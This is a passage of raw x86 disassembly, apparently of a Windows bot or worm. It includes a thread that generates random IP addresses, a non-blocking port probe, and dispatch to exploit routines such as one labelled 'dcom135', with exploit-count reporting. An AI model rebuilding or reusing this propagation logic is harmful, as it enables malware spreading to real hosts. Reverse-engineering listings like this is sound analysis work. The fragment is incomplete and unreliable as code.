		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406FBB
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_412D4C
		add	esp, 14h

loc_406FBB:				; CODE XREF: sub_406C3E+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	loc_4070DD
; ---------------------------------------------------------------------------

loc_406FCD:				; CODE XREF: sub_406C3E+2B6j
					; sub_406C3E+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_427204
		push	edi
		call	dword_43A41C
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_4271C8
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40B16D
		add	esp, 14h
		jmp	loc_4070DD
; ---------------------------------------------------------------------------

loc_407013:				; CODE XREF: sub_406C3E+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070C7
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_407050
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_40705E
; ---------------------------------------------------------------------------

loc_407050:				; CODE XREF: sub_406C3E+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl

loc_40705E:				; CODE XREF: sub_406C3E+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_416E3E
		push	[ebp+var_8]

loc_40707B:				; DATA XREF: .nsp0:00424DA8o
					; .nsp0:00424DBCo ...
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_416BB0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43A41C
		cmp	edi, ebx
		jnz	short loc_4070DD
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_427178
		jmp	loc_406F81
; ---------------------------------------------------------------------------

loc_4070C7:				; CODE XREF: sub_406C3E+268j
					; sub_406C3E+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42716C
		push	edi
		call	dword_43A41C

loc_4070DD:				; CODE XREF: sub_406C3E+204j
					; sub_406C3E+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DE9

loc_4070E9:				; CODE XREF: sub_406C3E+1B4j
		push	edi
		call	dword_43A450
		push	[ebp+var_8]
		call	sub_415B40
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_40711D
		push	[ebp+var_170]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_40711D:				; CODE XREF: sub_406C3E+4CAj
		push	3E8h
		call	dword_421060
		push	esi

loc_407129:				; CODE XREF: sub_406C3E+123j
		call	sub_406C3E
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C3E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407135	proc near		; CODE XREF: sub_40CE55+5799p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4276DC
		push	eax
		xor	ebx, ebx
		call	sub_4154E7
		cmp	dword_427338, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4071A3
		push	esi
		mov	esi, offset dword_427340

loc_407168:				; CODE XREF: sub_407135+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407168
		pop	esi

loc_4071A3:				; CODE XREF: sub_407135+2Bj
		push	dword_468838
		call	sub_40A9B2
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416F10
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_407135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071FF	proc near		; CODE XREF: sub_40CE55+5106p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_40723B
		mov	eax, [ebp+arg_C]
		push	dword_439008[eax*8]
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_427748
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		jmp	short loc_40724E
; ---------------------------------------------------------------------------

loc_40723B:				; CODE XREF: sub_4071FF+13j
		lea	eax, [ebp+var_200]
		push	offset unk_427714
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx

loc_40724E:				; CODE XREF: sub_4071FF+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		add	esp, 18h
		leave
		retn
sub_4071FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407276	proc near		; CODE XREF: sub_40799F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_407606
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_427344[eax], ebx
		jz	loc_4074E7
		push	4
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	eax, dword_42C188
		push	edi
		mov	edi, offset dword_439984
		push	104h
		push	edi
		push	ebx
		mov	dword_439B94, eax
		mov	dword_439B90, ebx
		call	dword_42107C
		push	103h
		mov	esi, offset dword_439A88
		push	offset byte_42C1FC
		push	esi
		call	sub_416D40
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439980, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_439C18, eax
		jnz	short loc_407329
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439B98
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_439C1C, 1
		jmp	short loc_407343
; ---------------------------------------------------------------------------

loc_407329:				; CODE XREF: sub_407276+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_439B98
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_439C1C, ebx

loc_407343:				; CODE XREF: sub_407276+B1j
		push	esi
		push	edi
		push	dword_439B94
		lea	eax, [ebp+var_204]
		push	offset unk_4278F4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_439B8C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439980
		push	offset sub_406C3E
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, dword_439B8C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_4073B2

loc_4073A0:				; CODE XREF: sub_407276+13Aj
		cmp	dword_439C20, ebx
		jnz	short loc_4073CD
		push	32h
		call	dword_421060
		jmp	short loc_4073A0
; ---------------------------------------------------------------------------

loc_4073B2:				; CODE XREF: sub_407276+128j
		call	dword_421088
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4278AC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_4073CD:				; CODE XREF: sub_407276+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B16D
		mov	edi, offset dword_439FDC
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43A1E8, ebx
		call	dword_42107C
		push	103h
		mov	esi, offset dword_43A0E0
		push	offset byte_42C1FC
		push	esi
		call	sub_416D40
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439FD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43A270, eax
		jnz	short loc_407448
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43A1F0
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_43A274, 1
		jmp	short loc_407462
; ---------------------------------------------------------------------------

loc_407448:				; CODE XREF: sub_407276+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43A1F0
		call	sub_416D40
		add	esp, 0Ch
		mov	dword_43A274, ebx

loc_407462:				; CODE XREF: sub_407276+1D0j
		push	esi
		push	edi
		push	dword_43A1EC
		lea	eax, [ebp+var_204]
		push	offset dword_427858
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_43A1E4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439FD8
		push	offset sub_405409
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, dword_43A1E4
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_4074D6

loc_4074C0:				; CODE XREF: sub_407276+25Ej
		cmp	dword_43A278, ebx
		jnz	loc_4075F9
		push	32h
		call	dword_421060
		jmp	short loc_4074C0
; ---------------------------------------------------------------------------

loc_4074D6:				; CODE XREF: sub_407276+248j
		call	dword_421088
		push	eax
		push	offset dword_427814
		jmp	loc_4075EA
; ---------------------------------------------------------------------------

loc_4074E7:				; CODE XREF: sub_407276+25j
		cmp	dword_427348[eax], ebx
		jz	loc_407606
		push	3
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	esi, offset dword_439EB4
		push	104h
		push	esi
		push	ebx
		call	dword_42107C
		push	5Ch
		push	esi
		call	sub_417040
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407525
		mov	[eax], bl

loc_407525:				; CODE XREF: sub_407276+2ABj
		mov	eax, dword_42C18C
		mov	dword_439FCC, ebx
		mov	dword_439FB8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439C2C
		call	sub_4154E7
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_439C28, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_439FB8
		mov	dword_439FC4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_439FC8, ecx
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4277C4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	dword_439FC0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439C28
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, dword_439FC0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_4075DE

loc_4075CC:				; CODE XREF: sub_407276+366j
		cmp	dword_439FD4, ebx
		jnz	short loc_4075F9
		push	32h
		call	dword_421060
		jmp	short loc_4075CC
; ---------------------------------------------------------------------------

loc_4075DE:				; CODE XREF: sub_407276+354j
		call	dword_421088
		push	eax
		push	offset unk_42777C

loc_4075EA:				; CODE XREF: sub_407276+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_4075F9:				; CODE XREF: sub_407276+250j
					; sub_407276+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_407606:				; CODE XREF: sub_407276+14j
					; sub_407276+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40760A	proc near		; CODE XREF: sub_40778B:loc_4077FCp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:439008h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43A2EC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43A3B4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4155D0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40760A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407652	proc near		; CODE XREF: sub_40778B+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415CF0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40767A
		xor	eax, eax
		jmp	short loc_4076EB
; ---------------------------------------------------------------------------

loc_40767A:				; CODE XREF: sub_407652+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416AA0
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4076A7
		call	sub_415543
		mov	[ebp+var_C], eax

loc_4076A7:				; CODE XREF: sub_407652+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4076B4
		call	sub_415543
		mov	[ebp+var_8], eax

loc_4076B4:				; CODE XREF: sub_407652+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4076C1
		call	sub_415543
		mov	[ebp+var_4], eax

loc_4076C1:				; CODE XREF: sub_407652+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076CD
		call	sub_415543

loc_4076CD:				; CODE XREF: sub_407652+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_439008[ecx*8], eax

loc_4076EB:				; CODE XREF: sub_407652+26j
		pop	esi
		leave
		retn
sub_407652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076EE	proc near		; CODE XREF: sub_40778B+B8p
					; sub_412B98+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43A438
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407717
		xor	eax, eax
		jmp	short loc_407786
; ---------------------------------------------------------------------------

loc_407717:				; CODE XREF: sub_4076EE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43A3B8
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A454
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43A360
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43A3A0
		push	esi
		mov	edi, eax
		call	dword_43A450
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_407786:				; CODE XREF: sub_4076EE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40778B	proc near		; DATA XREF: sub_40799F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_42104C
		push	eax
		call	sub_415539
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_4077D2:				; CODE XREF: sub_40778B+200j
		mov	eax, dword_43F54C[ebx]
		cmp	dword_43900C[eax*8], 0
		jz	loc_407990
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077FC
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407652
		pop	ecx
		jmp	short loc_407801
; ---------------------------------------------------------------------------

loc_4077FC:				; CODE XREF: sub_40778B+60j
		call	sub_40760A

loc_407801:				; CODE XREF: sub_40778B+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43F54C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427990
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43F348[ebx]
		push	eax
		call	sub_4154E7
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076EE
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_407980
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078D5
		push	offset dword_439968
		call	dword_4210B4
		push	[ebp+var_3C]
		push	edi
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427954
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4078B7
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078AB
		lea	eax, [ebp+var_140]

loc_4078AB:				; CODE XREF: sub_40778B+118j
		push	eax
		push	[ebp+var_40]
		call	sub_412D4C
		add	esp, 14h

loc_4078B7:				; CODE XREF: sub_40778B+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B16D
		mov	[esp+2A8h+var_2A8], offset dword_439968
		call	dword_4210B0
		jmp	loc_407980
; ---------------------------------------------------------------------------

loc_4078D5:				; CODE XREF: sub_40778B+CDj
		push	edi
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4154E7
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_407919
		lea	eax, [ebp+var_140]

loc_407919:				; CODE XREF: sub_40778B+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4154E7
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42733C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_407980:				; CODE XREF: sub_40778B+C3j
					; sub_40778B+145j
		push	7D0h
		call	dword_421060
		jmp	loc_4077D2
; ---------------------------------------------------------------------------

loc_407990:				; CODE XREF: sub_40778B+55j
		push	esi
		call	sub_4152AF
		pop	ecx
		push	0
		call	dword_421048
sub_40778B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40799F	proc near		; DATA XREF: sub_40CE55+31D4o
					; sub_40CE55+4D64o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43A3F8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_439008[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407276
		push	8
		call	sub_4151DB
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A6D
		mov	esi, offset dword_439968
		push	esi
		call	dword_4210BC
		push	80000400h
		push	esi
		call	dword_4210B8
		test	eax, eax
		jnz	short loc_407A6D
		lea	eax, [ebp+var_1CC]
		push	offset unk_427AD4
		push	eax
		call	sub_4154E7
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A57
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4C
		add	esp, 14h

loc_407A57:				; CODE XREF: sub_40799F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407A6D:				; CODE XREF: sub_40799F+63j
					; sub_40799F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_421060
		mov	edi, ebx
		mov	dword_43900C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B3A

loc_407A8B:				; CODE XREF: sub_40799F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A88
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414F93
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43F54C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40778B
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_407B05

loc_407AFA:				; CODE XREF: sub_40799F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B2C
		push	1Eh
		call	esi
		jmp	short loc_407AFA
; ---------------------------------------------------------------------------

loc_407B05:				; CODE XREF: sub_40799F+159j
		call	dword_421088
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A38
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		add	esp, 10h

loc_407B2C:				; CODE XREF: sub_40799F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A8B

loc_407B3A:				; CODE XREF: sub_40799F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BE4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_407B4F:				; CODE XREF: sub_40799F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_439008[eax*8]
		push	eax
		call	dword_43A444
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4279E0
		push	eax
		call	sub_4154E7
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B9D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4C
		add	esp, 14h

loc_407B9D:				; CODE XREF: sub_40799F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43900C[eax*8], ebx
		call	esi
		push	8
		call	sub_4151DB
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BD4
		push	offset dword_439968
		call	dword_4210BC

loc_407BD4:				; CODE XREF: sub_40799F+228j
		push	[ebp+var_2C]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048

loc_407BE4:				; CODE XREF: sub_40799F+19Ej
					; sub_40799F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_43900C[eax*8], 1
		jnz	loc_407B4F
		push	7D0h
		call	esi
		jmp	short loc_407BE4
sub_40799F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BFE	proc near		; DATA XREF: sub_40CE55+35ABo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
